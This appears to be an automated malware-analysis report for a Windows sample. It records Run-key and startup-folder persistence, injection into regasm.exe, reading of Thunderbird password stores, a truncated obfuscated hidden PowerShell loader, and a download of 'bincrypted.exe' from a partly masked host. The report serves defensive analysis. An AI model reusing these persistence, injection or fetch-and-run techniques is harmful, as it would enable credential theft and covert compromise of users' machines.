Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'newapp' = '%APPDATA%\newapp\newapp.exe'
Creates or modifies the following files
- %APPDATA%\microsoft\windows\start menu\programs\startup\systempropertiesadvanced.url
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function j71536 {param($ybae4)$odaf9ff='q16b7b';$o81551='';for ($i=0; $i -lt $ybae4.length;$i+=2){$qe56d3f=[convert]::ToByte($ybae4.Substring($i,2),16);$o81551+=[char]($qe...
Injects code into
the following system processes:
- %WINDIR%\microsoft.net\framework\v2.0.50727\regasm.exe
Reads files which store third party applications passwords
- %APPDATA%\thunderbird\profiles.ini
Modifies file system
Creates the following files
- %TEMP%\w8qzwe28.0.cs
- %TEMP%\vqnpf2wh.dll
- %TEMP%\rese32.tmp
- %TEMP%\csce21.tmp
- %TEMP%\vqnpf2wh.out
- %TEMP%\vqnpf2wh.cmdline
- %TEMP%\vqnpf2wh.0.cs
- %TEMP%\if4kmivr.dll
- %TEMP%\resf589.tmp
- %TEMP%\cscf579.tmp
- %TEMP%\if4kmivr.out
- %TEMP%\if4kmivr.cmdline
- %TEMP%\if4kmivr.0.cs
- %TEMP%\o67rtnnb.dll
- %TEMP%\resd35b.tmp
- %TEMP%\cscd34b.tmp
- %TEMP%\o67rtnnb.out
- %TEMP%\o67rtnnb.cmdline
- %TEMP%\o67rtnnb.0.cs
- %TEMP%\hkq4-ohu.dll
- %TEMP%\ndbwrnfx.0.cs
- %TEMP%\ndbwrnfx.cmdline
- %TEMP%\ndbwrnfx.out
- %TEMP%\csc240b.tmp
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\policy.vpol
- %APPDATA%\newapp\newapp.exe
- %HOMEPATH%\systempropertiesadvanced\aepic.exe
- %HOMEPATH%\systempropertiesadvanced\systempropertiesadvanced.vbs
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.word\~wrf{f6cb022b-e9d3-4e55-a558-07742b88306f}.tmp
- %TEMP%\_qyqtxj_.dll
- %TEMP%\res552e.tmp
- %TEMP%\csc551d.tmp
- %TEMP%\_qyqtxj_.cmdline
- %TEMP%\_qyqtxj_.out
- %TEMP%\_qyqtxj_.0.cs
- %TEMP%\p24ec7w9.dll
- %TEMP%\res3d7f.tmp
- %TEMP%\csc3d6f.tmp
- %TEMP%\p24ec7w9.out
- %TEMP%\p24ec7w9.cmdline
- %TEMP%\p24ec7w9.0.cs
- %TEMP%\ndbwrnfx.dll
- %TEMP%\res241b.tmp
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch
- %TEMP%\resbfc4.tmp
- %TEMP%\cscbfb3.tmp
- %TEMP%\hkq4-ohu.out
- %TEMP%\rccrmpal.cmdline
- %TEMP%\rccrmpal.0.cs
- %TEMP%\uchyd7jz.dll
- %TEMP%\res4d05.tmp
- %TEMP%\csc4ce4.tmp
- %TEMP%\uchyd7jz.out
- %TEMP%\uchyd7jz.cmdline
- %TEMP%\uchyd7jz.0.cs
- %TEMP%\w8qzwe28.dll
- %TEMP%\res4341.tmp
- %TEMP%\g78jyoei.dll
- %TEMP%\res42e3.tmp
- %TEMP%\csc4340.tmp
- %TEMP%\csc42d2.tmp
- %TEMP%\g78jyoei.out
- %TEMP%\g78jyoei.cmdline
- %TEMP%\g78jyoei.0.cs
- %TEMP%\w8qzwe28.out
- %TEMP%\w8qzwe28.cmdline
- %TEMP%\rccrmpal.out
- %TEMP%\csc5fa1.tmp
- %TEMP%\res5fb2.tmp
- %TEMP%\rccrmpal.dll
- %TEMP%\hkq4-ohu.0.cs
- %APPDATA%\j1333.exe
- %TEMP%\s8gro4jv.dll
- %TEMP%\resab03.tmp
- %TEMP%\cscaaf3.tmp
- %TEMP%\s8gro4jv.out
- %TEMP%\s8gro4jv.cmdline
- %TEMP%\s8gro4jv.0.cs
- %TEMP%\h_9rcxng.dll
- %TEMP%\csc8162.tmp
- %TEMP%\res8173.tmp
- %TEMP%\h_9rcxng.out
- %TEMP%\h_9rcxng.cmdline
- %TEMP%\h_9rcxng.0.cs
- %TEMP%\yuehw1ba.dll
- %TEMP%\res730b.tmp
- %TEMP%\csc72fa.tmp
- %TEMP%\yuehw1ba.out
- %TEMP%\yuehw1ba.cmdline
- %TEMP%\yuehw1ba.0.cs
- %TEMP%\hkq4-ohu.cmdline
- %LOCALAPPDATA%\microsoft\vault\4bf4c442-9b8a-41a0-b380-dd4a704ddb28\policy.vpol
Sets the 'hidden' attribute to the following files
- %APPDATA%\newapp\newapp.exe
Deletes the following files
- %TEMP%\res42e3.tmp
- %TEMP%\rese32.tmp
- %TEMP%\if4kmivr.out
- %TEMP%\if4kmivr.pdb
- %TEMP%\if4kmivr.0.cs
- %TEMP%\if4kmivr.cmdline
- %TEMP%\if4kmivr.dll
- %TEMP%\cscf579.tmp
- %TEMP%\resf589.tmp
- %TEMP%\o67rtnnb.out
- %TEMP%\vqnpf2wh.0.cs
- %TEMP%\csce21.tmp
- %TEMP%\o67rtnnb.cmdline
- %TEMP%\o67rtnnb.0.cs
- %TEMP%\cscd34b.tmp
- %TEMP%\resd35b.tmp
- %TEMP%\hkq4-ohu.dll
- %TEMP%\hkq4-ohu.0.cs
- %TEMP%\hkq4-ohu.out
- %TEMP%\hkq4-ohu.pdb
- %TEMP%\hkq4-ohu.cmdline
- %TEMP%\o67rtnnb.dll
- %TEMP%\rccrmpal.0.cs
- %TEMP%\vqnpf2wh.cmdline
- %TEMP%\_qyqtxj_.dll
- %TEMP%\_qyqtxj_.pdb
- %TEMP%\_qyqtxj_.out
- %TEMP%\csc551d.tmp
- %TEMP%\res552e.tmp
- %TEMP%\p24ec7w9.cmdline
- %TEMP%\p24ec7w9.pdb
- %TEMP%\p24ec7w9.0.cs
- %TEMP%\p24ec7w9.dll
- %TEMP%\p24ec7w9.out
- %TEMP%\csc3d6f.tmp
- %TEMP%\res3d7f.tmp
- %TEMP%\ndbwrnfx.dll
- %TEMP%\ndbwrnfx.pdb
- %TEMP%\ndbwrnfx.cmdline
- %TEMP%\ndbwrnfx.0.cs
- %TEMP%\ndbwrnfx.out
- %TEMP%\csc240b.tmp
- %TEMP%\res241b.tmp
- %TEMP%\vqnpf2wh.dll
- %TEMP%\vqnpf2wh.pdb
- %TEMP%\cscbfb3.tmp
- %TEMP%\o67rtnnb.pdb
- %TEMP%\resbfc4.tmp
- %TEMP%\s8gro4jv.dll
- %TEMP%\s8gro4jv.pdb
- %TEMP%\w8qzwe28.dll
- %TEMP%\uchyd7jz.0.cs
- %TEMP%\uchyd7jz.pdb
- %TEMP%\uchyd7jz.out
- %TEMP%\uchyd7jz.dll
- %TEMP%\uchyd7jz.cmdline
- %TEMP%\csc4ce4.tmp
- %TEMP%\res4d05.tmp
- %TEMP%\w8qzwe28.cmdline
- %TEMP%\w8qzwe28.out
- %TEMP%\w8qzwe28.pdb
- %TEMP%\csc5fa1.tmp
- %TEMP%\w8qzwe28.0.cs
- %TEMP%\g78jyoei.out
- %TEMP%\g78jyoei.cmdline
- %TEMP%\g78jyoei.0.cs
- %TEMP%\g78jyoei.dll
- %TEMP%\g78jyoei.pdb
- %TEMP%\csc4340.tmp
- %TEMP%\res4341.tmp
- %TEMP%\csc42d2.tmp
- %TEMP%\_qyqtxj_.0.cs
- %TEMP%\vqnpf2wh.out
- %TEMP%\rccrmpal.cmdline
- %TEMP%\rccrmpal.dll
- %TEMP%\res5fb2.tmp
- %TEMP%\s8gro4jv.0.cs
- %TEMP%\s8gro4jv.cmdline
- %TEMP%\s8gro4jv.out
- %TEMP%\cscaaf3.tmp
- %TEMP%\resab03.tmp
- %TEMP%\h_9rcxng.cmdline
- %TEMP%\h_9rcxng.pdb
- %TEMP%\h_9rcxng.dll
- %TEMP%\h_9rcxng.0.cs
- %TEMP%\h_9rcxng.out
- %TEMP%\csc8162.tmp
- %TEMP%\res8173.tmp
- %TEMP%\yuehw1ba.cmdline
- %TEMP%\yuehw1ba.0.cs
- %TEMP%\yuehw1ba.dll
- %TEMP%\yuehw1ba.out
- %TEMP%\yuehw1ba.pdb
- %TEMP%\csc72fa.tmp
- %TEMP%\res730b.tmp
- %TEMP%\rccrmpal.out
- %TEMP%\rccrmpal.pdb
- %TEMP%\_qyqtxj_.cmdline
Network activity
TCP
HTTP GET requests
- http://gr######une-2749.ciao.jp/mad/bincrypted.exe
UDP
- DNS ASK gr######une-2749.ciao.jp
Miscellaneous
Creates and executes the following
- '%APPDATA%\j1333.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function j71536 {param($ybae4)$odaf9ff='q16b7b';$o81551='';for ($i=0; $i -lt $ybae4.length;$i+=2){$qe56d3f=[convert]::ToByte($ybae4.Substring($i,2),16);$o81551+=[char]($qe...' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES3D7F.tmp" "%TEMP%\CSC3D6F.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\p24ec7w9.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES241B.tmp" "%TEMP%\CSC240B.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ndbwrnfx.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESE32.tmp" "%TEMP%\CSCE21.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\vqnpf2wh.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESF589.tmp" "%TEMP%\CSCF579.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\if4kmivr.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESD35B.tmp" "%TEMP%\CSCD34B.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\o67rtnnb.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESBFC4.tmp" "%TEMP%\CSCBFB3.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\hkq4-ohu.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESAB03.tmp" "%TEMP%\CSCAAF3.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\s8gro4jv.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES8173.tmp" "%TEMP%\CSC8162.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\h_9rcxng.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES730B.tmp" "%TEMP%\CSC72FA.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\yuehw1ba.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES5FB2.tmp" "%TEMP%\CSC5FA1.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\rccrmpal.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4D05.tmp" "%TEMP%\CSC4CE4.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\uchyd7jz.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4341.tmp" "%TEMP%\CSC4340.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES42E3.tmp" "%TEMP%\CSC42D2.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\g78jyoei.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\w8qzwe28.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\_qyqtxj_.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES552E.tmp" "%TEMP%\CSC551D.tmp"' (with hidden window)
Executes the following
- '%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES552E.tmp" "%TEMP%\CSC551D.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\_qyqtxj_.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES3D7F.tmp" "%TEMP%\CSC3D6F.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\p24ec7w9.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES241B.tmp" "%TEMP%\CSC240B.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ndbwrnfx.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESE32.tmp" "%TEMP%\CSCE21.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\vqnpf2wh.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESF589.tmp" "%TEMP%\CSCF579.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\if4kmivr.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESD35B.tmp" "%TEMP%\CSCD34B.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\o67rtnnb.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESBFC4.tmp" "%TEMP%\CSCBFB3.tmp"
- '%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\hkq4-ohu.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\s8gro4jv.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES8173.tmp" "%TEMP%\CSC8162.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\h_9rcxng.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES730B.tmp" "%TEMP%\CSC72FA.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\yuehw1ba.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES5FB2.tmp" "%TEMP%\CSC5FA1.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\rccrmpal.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4D05.tmp" "%TEMP%\CSC4CE4.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\uchyd7jz.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4341.tmp" "%TEMP%\CSC4340.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES42E3.tmp" "%TEMP%\CSC42D2.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\g78jyoei.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\w8qzwe28.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESAB03.tmp" "%TEMP%\CSCAAF3.tmp"
- '%WINDIR%\microsoft.net\framework\v2.0.50727\regasm.exe'
